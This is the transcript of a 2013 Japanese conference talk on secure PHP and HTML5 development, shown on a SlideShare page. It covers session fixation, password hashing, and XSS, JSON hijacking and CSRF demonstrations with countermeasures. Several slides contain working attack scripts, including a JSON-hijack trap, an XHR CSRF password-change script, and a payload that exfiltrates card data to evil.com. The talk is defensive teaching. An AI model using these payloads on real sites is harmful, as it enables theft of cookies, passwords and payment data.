• Like
安全なPHPアプリケーションの作り方2013
Upcoming SlideShare
Loading in...5
×

安全なPHPアプリケーションの作り方2013

  • 241,334 views
Uploaded on

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
  • なるほど、意図について理解しました。ご回答いただきありがとうございます。
    Are you sure you want to
    Your message goes here
  • ご指摘ありがとうごさいます。特に理由はありません。強いて言えば、中身をホワイトボックスで示したかったと言うことくらいです。
    Are you sure you want to
    Your message goes here
  • 23 ページの password_hash() についてですが、 PHP のマニュアルの http://jp2.php.net/manual/ja/intro.password.php にて紹介されている「ユーザーランドの実装」を選択せず、独自実装の紹介としているのは何か理由があるでしょうか。 https://github.com/ircmaxell/password_compat の作者は PHP 5.5 における password_hash() の RFC 作成者であり、実装者でもある Anthony Ferrara 自身によるもので、個人的には PHP 5.5 の password_hash() と同程度に信頼して使ってよいものという認識でいたのですが……
    Are you sure you want to
    Your message goes here
No Downloads

Views

Total Views
241,334
On Slideshare
0
From Embeds
0
Number of Embeds
14

Actions

Shares
Downloads
194
Comments
3
Likes
122

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. 安全なPHPアプリケーションの作り方2013 2013年9月14日 HASHコンサルティング株式会社 徳丸 浩
  • 2. • PHPのライフサイクルにどうつきあう? • セッションフィクセイション結局どうする • パスワードの守り方 • デモから学ぶ HTML5セキュリティ入門 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved アジェンダ 2
  • 3. PHPのライフサイクルにどうつき あう? 3
  • 4. 4
  • 5. サポートライフサイクルポリシーとは • サポートライフサイクルポリシーとは、製品サポートに ついてのサポートポリシーを文書化したもの • 厳密な契約ではないが、購入者に対する「約束」と考え られる • マイクロソフト社の取り組みが有名 – 2002 年 10 月に最初に発表 – 2004 年 6 月に更新 – 詳しくは次のスライドで… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5
  • 6. マイクロソフト社のサポートライフサイクルポリシー メインストリームサポート 次のうちいずれか長い方 ・ 製品発売から5年 ・ 後継製品の発売から2年 延長サポート 次のうちいずれか長い方 ・ メインストリームサポート終了から5年 ・ 2番目の後継製品の発売から2年 •最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し) メインストリームサポート Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6
  • 7. 【参考】PHPのサポート状況 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 PHP5.x PHP4.x PHP3.x 3.5年 •オープンソース・ソフトウェアは通常サポートポリシーが明確でない •PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終 了になるケースもあった •アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想 定した計画立案が要求される Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7
  • 8. Request for Comments: Release Process(PHP) • Yearly release cycle – 3 years release life cycle – 2 years bug fixes only – 1 year security fixes only • 下図のように、PHP5.x(2番目の数字)を使い続けるのは、 2~3年が限度 https://wiki.php.net/rfc/releaseprocess より引用Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 8
  • 9. サポートライフサイクルポリシーまとめ • ソフトウェア選定時にサポートライフサイクルポリシー を確認すること – PHP以外に、フレームワークやDB、ライブラリ等も • サポート計画を検討する – PHPをRedHat/CentOSのパッケージで導入すれば10年サポー トに – PHPのバージョンアップにとことん付き合うという選択肢 – 途中でバージョンアップする計画を立てておく(予算も) • 他のソフトウェアのサポートライフサイクルにも注意 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9
  • 10. セッションフィクセイション結 局どうする 10
  • 11. PHP5.5.2でStrict Sessionsがマー ジされました 11
  • 12. 大垣さん、まことにおめでとう ございます (_ _) 12
  • 13. • PHPのセッション管理機構には、未初期化のセッション IDを受け入れる問題があった (Session Adoption) • 例えば、PHPSESSID=ABC をCookieにセットしておく と、そのままセッションIDとして使ってくれる • セッションフィクセーション攻撃の時に、Session Adoptionがあると便利! • セッションフィクセーション対策には、ログイン成功後 に下記を実行すること – session_regenerate_id(true); • PHP5.5.2以降では、 php.iniに下記を指定すると、 Session Adoptionが解消される – session.use_strict_mode = 1 Strict Sessionsとは何か Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13
  • 14. Strict Sessionsのデモ 14
  • 15. • Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4 では対応していない – PHP5.4以前は、session_regenerate_id(true); で対応 • PHP5.5.2以降だと、session_regenerate_id()は不要? – 必要 – 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対 象からセッションIDを入手すれば、セッションフィクセーショ ン攻撃は依然として可能 • 結局、アプリの書き方は変わらない – ログイン成功後に session_regenerate_id(true); Strict Sessionsでアプリの書き方は変わる? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15
  • 16. パスワードの守り方 16
  • 17. LinkedInからのパスワード漏洩事件 17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
  • 18. 650万件のパスワードハッシュのうち540万件が1週間で解読 http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用 https://twitter.com/jmgosney/statuses/213212108924522496 より引用 Surviving on little more than furious passion for many sleepless days, we now have over 90% of the leaked passwords recovered. 18
  • 19. Saltってなに? • ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す る文字列 • 見かけのパスワードの長さを長くする →レインボーテーブル対策 • ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる ハッシュ値が得られる – ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト があると、×ユーザ数 に試行回数が増える – LinkedInの場合は、試行回数が 650万倍に ! • ソルトの要件 – ある程度の長さを確保すること – ユーザ毎に異なるものにすること • ソルトには乱数を用いることが多いが、乱数が必須というわけでは ない(暗号論的に安全な乱数である必要はもちろんない) • ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保 存する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19
  • 20. Stretchingってなに? • ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと • ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対 抗する • 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」 が20万分になる計算 – 20万分 = 139日 … • 「悪い」パスワードまで救えるわけではない – 「password」というパスワードをつけていたら、100万回ストレッチし てもすぐに解読されてしまう • 十分長いパスワードをつけてもらえば、ストレッチングは必要ない – 1文字パスワードを長くすることは、約90回のストレッチングに相当する。 パスワードを2文字長くしてもらえば… – ストレッチングは、「弱いパスワード」の救済の意味がある • ストレッチングはメリットとデメリットがあるので、導入の有無と回 数をよく検討すること Copyright © 2008-2013 HASH Consulting Corp. All rights reserved むむ、これだとパスワードの定期的変更か? 20
  • 21. パスワードをハッシュで保存する場合の課題 • 「パスワードリマインダ」が実装できない – 「秘密の質問」に答えるとパスワードを教えてくれるアレ – パスワードリセットで代替 • ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更 – 生パスワードが分からないのでハッシュの方式変更がバッチ処理では できない – ユーザの認証成功の際にはパスワードが分かるので、その際に方式を 変更すると良い – 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ ットで – ハッシュ値あるいは別フィールドに「方式番号」をもっておく – PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵) $1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 方式番号 ソルト ハッシュ値 21
  • 22. password_hash 関数 (PHP5.5から) http://php.net/manual/ja/function.password-hash.php より引用 <?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT); 【結果】 $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 22
  • 23. password_hash関数の代替(PHP5.3.7~PHP5.4) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved function get_salt() { $random = file_get_contents('/dev/urandom', false, NULL, 0, 18); $base64 = base64_encode($random); return substr(strtr($base64, '+', '.'), 0, 22); } function get_hash($password) { $salt = get_salt(); return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください } function verify_password($password, $hash) { $salt = substr($hash, 7, 22); $new_hash = crypt($password, '$2y$10$' . $salt); return $hash === $new_hash; } 23
  • 24. 結局どうすればよいの? • パスワード認証は、利用者とサイト運営者が責任を分かち合ってい る • 利用者に、よいパスワードをつけてもらうのが本筋 • オンライン攻撃に備えて、以下を実施する – アカウントロックの実装 – SQLインジェクションなどの脆弱性対処 – でれきば…二段階認証、リスクベース認証 – Googleなど認証プロバイダの活用 • オフライン攻撃対策は中々決め手がない – ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単 に求められる – ソルトは必須。できるだけストレッチングもする(password_hash関数 など) – DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24
  • 25. デモから学ぶ HTML5セキュリティ入門 25
  • 26. 激安お徳情報(罠サイト) デモに出てくるWebサイトの説明 アフィリエイトブログ ドメインとるなら おネーム.com 広告モジュール 広告事業者 adv.com blog.com oname.com evil.com Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26
  • 27. DOM Based XSS 27
  • 28. blogの外観 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
  • 29. トラッキング用img要素の生成箇所 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <iframe src="http://adv.com/ad.html?siteId=50341"> </iframe> <a href="http://oname.com/"><img src="oname.png"></a> <div id="img"></div> <script> var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + qstrs.siteId + '">'; div.innerHTML = img; // siteId を localStorageに保存 localStorage.siteId = parseInt(qstrs.siteId); iframeの参照 iframeのソース(主要部) 29
  • 30. Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
  • 31. • 確かにXSSはあるが、ドメイン(オリジンは) http://adv.com であり、他のドメインには影響はない はず • siteIdはlocalStorageに保存しているが、parseIntを通 しているので、汚染されることはない • そもそもblog.comから呼び出される場合、siteIdは固定 なので、攻撃経路がない • 見解の正否は後ほど… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved DOM Based XSSの影響(高橋の見解) 31
  • 32. JSON Hijack 32
  • 33. プロフィール画面 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script src="jquery-1.10.2.min.js"></script> <script> $(function() { $.ajax({ dataType: 'json', url: 'getProfile_json.php' }).done(function(json) { $('#name').text(json[0].name); $('#addr').text(json[0].addr); $('#tel').text(json[0].tel); $('#mail').text(json[0].mail); }); }); </script> プロフィール<br> 氏名:<span id="name"></span><br> 住所:<span id="addr"></span><br> 電話番号:<span id="tel"></span><br> メールアドレス:<span id="mail"></span><br> プロフィールの表示(profile.php) [{"name":"Taro Yamada", "tel":"03-1111-2222", "mail":"yamada@example.jp", "addr":"1-1-1, Mita, Minato- city, Tokyo"}] 33
  • 34. • JSONって、JavaScriptだよね • script要素で読み込めるよね • クッキーも飛ぶよね • JSONデータを盗むワナを作れないか? 34 JSON Hijackとは… これは罠サイト script要素はクロスドメインで読み込み可能 クッキーもつくよ <script> // ここにJSONを読む仕掛けを置く </script> <script src="http://oname.com/getProfile_json.php"></script>
  • 35. JSON Hijackの罠 (setter版; 一般利用者が閲覧) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <body onload="alert(x)"> 罠サイト <script> var x = ""; Object.prototype.__defineSetter__("name", function(v) { x += 'name = ' + v + "¥n"; }); Object.prototype.__defineSetter__("tel", function(v) { x += 'tel = ' + v + "¥n"; }); // …省略 // 以下がJSONデータ <script src="http://oname.com/getProfile_json.php"></script> </body> ※ Xperia Arc (Android 2.3.4)にて実行 35
  • 36. JSON Hijackの罠 (IE向け;一般利用者が参照) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script> window.onerror = function(e) { if (e.match(/'({"memo".*)'$/)) { var msg = 'JSONハイジャックに成功:' + RegExp.$1; } else { var msg = 'JSONハイジャックに失敗:' + e; } var divmemo = document.getElementById('memo'); var text = document.createTextNode(msg); divmemo.appendChild(text); } </script> これは罠サイトです(IE限定) <div id="memo"></div> <script src="http://oname.com/getProfile_json.php" language="vbscript"></ script> 36
  • 37. • Content-Typeを正しく設定する header('Content-Type: application/json; charset=UTF-8’); • X-Content-Type-Options: nosniff を出力する header('X-Content-Type-Options: nosniff'); • 最新のIEを用いる(CVE-2013-1297対策ずみのもの) – JSON Hijackができることはブラウザのバグ • X-Requested-Withヘッダのチェック – ヘッダ X-Requested-With: XMLHttpRequest があること – jQueryやprototype.jsでは自動的に付与される – script要素で読む場合は、ヘッダは操作できない Copyright © 2008-2013 HASH Consulting Corp. All rights reserved JSON Hijackの対策 37
  • 38. JSONによるXSS 38
  • 39. ドメイン名検索機能(JSON) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved {"status":"ok","key":"tokumaru","results":["tokumaru.us"," tokumaru.ru"]} http://oname.com/searchdomain_json.php?dname=tokumaru {"status":"fail","key":"<img src=# onlerror=alert(1)>","re sults":[]} http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20 onlerror%3Dalert(1)> ブラウザにJSON(application/json)と認 識されれば問題ないが、 HTML(text/html)と認識されるとXSSに 39
  • 40. XSS実行例 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
  • 41. • Content-Typeを正しく出力(これでIE以外OK) header('Content-Type: application/json; charset=UTF-8'); • X-Content-Type-Options: nosniff ヘッダを出力 header('X-Content-Type-Options: nosniff'); // これで IE8 以降は OK • リクエスト時にX-Request-Withを付与して、サーバー 側で確認する – jQuery等では自動的付与。すべてのブラウザで有効な対策 • < や > もUnicodeエスケープする json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); JSONによるXSSの対策 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 41
  • 42. XHR L2によるCSRF 42
  • 43. • 高橋君の見解 – FormのPOST送信ではJSON形式は送信できない – XMLHttpRequestではクロスドメイン通信はできない – ∴ どちらで攻撃されても大丈夫 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved CSRF脆弱なサンプル session_start(); // ログイン確認 if (isset($_SESSION['id'])) { $id = $_SESSION['id']; $stream = file_get_contents(‘php://input’); // リクエスト・ボディ $json = json_decode($stream, TRUE); if (isset($json['pwd']) && $json['pwd'] !== '') { // パスワードがJSONとして渡ってきている場合にパスワード変更 $pwd = $json['pwd']; // パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため) error_log(“Password is changed. id: ${id} password: ${pwd}”); // 以下はエラー処理 パスワード変更処理のソース(PHP; 主要部) 43
  • 44. Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 攻撃スクリプト var requester = new XMLHttpRequest(); requester.open('POST', 'http://oname.com/chgpwd_json.php', true); // 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する requester.setRequestHeader("Content-type", "text/plain"); // 以下でリクエストにクッキーを付与する requester.withCredentials = true; // レスポンスは受け取れないので、コールバック関数はセットしていない requester.send('{"pwd":"123456"}'); 攻撃スクリプト(JavaScript; 主要部) Password is changed. id: yamada password: 123456 実行結果:サーバーログ 44
  • 45. • XHR Level2対応のブラウザ(IE以外)の場合、クロスド メイン(クロスオリジン)にホストにリクエスト自体は 無条件に可能 – サーバー側でAccess-Control-Allow-Originヘッダを送信しない と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは 元々必要ない • setRequestHeaderを用いる場合は、プレフライトに対 応する必要がある • このため、攻撃の場合Content-Typeヘッダを指定でき ない(text/plainは例外らしい) – サーバー側でContent-Typeをチェックすると少し安全に • 根本的には、通常通りトークンによる対策を推奨 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 解説 45
  • 46. PostMessageに注意 46
  • 47. 広告モジュールからpostMessageでsiteIdを受け取る Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) parent.postMessage( localStorage.siteId, '*'); 広告モジュールからsiteIdを送信(affiliate.html) ドメインとるならおネーム.com 広告モジュール oname.com postMessage 47 adv.com
  • 48. • siteIdの埋め込み箇所(下記)には潜在的なXSSがある var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; • しかし、siteIdをlocalStorageに保存する際にparseIntで フィルタリングしているため、攻撃文字列を埋め込まれる 心配はない この箇所のDOM Based XSSに関する高橋の考察 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 48
  • 49. 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved win = window.open( 'http://oname.com/purchase.php?domain=tokumaru.us', "x"); setTimeout(function () { win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d ocument.cookie)">', '*'); }, 2000); 罠画面から購入画面を開き、Cookieを窃取 ドメイン取るならおネーム.com 広告モジュール oname.com postMessage 激安マル秘情報 evil.com postMessage window.open ① ② ③ 49
  • 50. postMessage経由のXSS攻撃 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
  • 51. • 送信側: データを渡してもよいオリジンを指定する win.postMessage(message, ’http://oname.com’) • 受信側: データを受け取ってもよいオリジンを確認する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved postMessageを扱う場合の注意 window.addEventListener("message", function(event) { if (event.origin !== "http://adv.com") { alert('不正なpostMessage'); return; } var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) 51
  • 52. これまでのおさらい Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
  • 53. • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した これまでのおさらい(高橋の見解) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53
  • 54. この対策で大丈夫か? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
  • 55. まぜるな危険 ! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
  • 56. • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した – XSSでローカルストレージに攻撃文字列を書き込める • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した – 上記によりhttp://adv.comオリジンから攻撃を受ける可能性 • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した – 上記により、攻撃を受ける可能性 合わせ技で「大変なこと」に! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56
  • 57. 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved localStorage adv.com XSSを利用して 攻撃コードをセット 激安お徳情報 evil.com 遷移 ① ② ドメインとるならおネーム.com 広告モジュール oname.com postMessage③ 攻撃コード 攻撃 57
  • 58. 攻撃コードの例 58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot; 50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3 d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'% 2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;; 50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function() {f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f. name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;} document.forms[0].onsubmit=function(){ f = document.forms[0]; r = new XMLHttpRequest(); r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+ f.expire.value, false); r.send(); return true; } adv.comへの攻撃例 攻撃後のローカルストレージsiteId oname.comで実行されるコード(読みやすく整形) サブミットすると、フォームの値を 外部に漏えいさせるバックドア
  • 59. バックドアによる情報漏えい 59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved ドメイン取るならおネーム.com evil.com oname.com XSSでセットさ れたバックドア 購入 氏名 カード番号 有効日付
  • 60. • HTML組み立てを以下のいずれかの方法で行う – DOM操作用のメソッドやプロパティを用いる • 文脈に応じたエスケープ処理を施す Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 対策 var div = document.getElementById('img'); var img = document.createElement('img'); img.setAttribute('src', 'track.php?siteId=' + encodeURIComponent(qstrs.siteId)); div.appendChild(img); var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + encodeURIComponent(qstrs.siteId) + '">'; div.innerHTML = img; 60
  • 61. 対策(続き) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = document.createElement('input'); input.setAttribute('name', 'siteId'); input.setAttribute('value', siteId); // setAttributeを使えば、HTMLエスケープの必要はない form.appendChild(input); } , false); 61
  • 62. • HTML5になり攻撃のバリエーションは増加しているが、 基本は変わらない – XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ ロパティ – CSRF: トークンにより対策 • “手抜きをしない” – 手抜きの例 : XHRではクロスドメイン通信ができないと思い CSRF対策を怠る • 対策はできるだけ局所的に完結する • JSONのXSSに注意 • postMessageによる情報漏えいやデータ汚染に注意 • 最新のjQueryその他のライブラリを用いる Copyright © 2008-2013 HASH Consulting Corp. All rights reserved まとめ 62
  • 63. 参考文献(1) Copyright © 2013 HASH Consulting Corp. XSSの基礎を説明してい ますが、DOM base XSS やAjaxに関する説明は あまりありません 63
  • 64. 参考文献(2) http://www.ipa.go.jp/about/technicalwatch/20130129.html DOM base XSSに関する 体系的な説明として貴 重な参考資料です 64
  • 65. 参考文献(3) ブラウザセキュリティの 「面倒くささ」について、逃 げずに丹念に説明してい ます。上級者および上級 者を目指す方向け 65
  • 66. • HTML5 and Security Part 1 : Basics and XSS [PPT] – http://utf-8.jp/public/20130613/owasp.pptx • HTML5時代のWebセキュリティ[PPT] – http://utf-8.jp/public/20120915/20120915-html5.pptx • XMLHttpRequestを使ったCSRF対策 – http://d.hatena.ne.jp/hasegawayosuke/20130302/p1 • 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ けるべき – http://d.hatena.ne.jp/hasegawayosuke/20130517/p1 • JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013- 1297)に注意 – http://blog.tokumaru.org/2013/05/JSON-information-disclosure- vulnerability-CVE-2013-1297.html • PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3) – http://d.hatena.ne.jp/ockeghem/20110905/p1 66 参考文献(4)
  • 67. • セッションアダプションに対する私の見解 – http://tumblr.tokumaru.org/post/37870453034/about-session- adoption • 本当は怖いパスワードの話 – http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html • Webアプリでパスワード保護はどこまでやればいいか – http://www.slideshare.net/ockeghem/how-to-guard-your- password • いまさら聞けないパスワードの取り扱い方 – http://www.slideshare.net/ockeghem/ss-25447896 67 参考文献(5)
  • 68. Thank you 68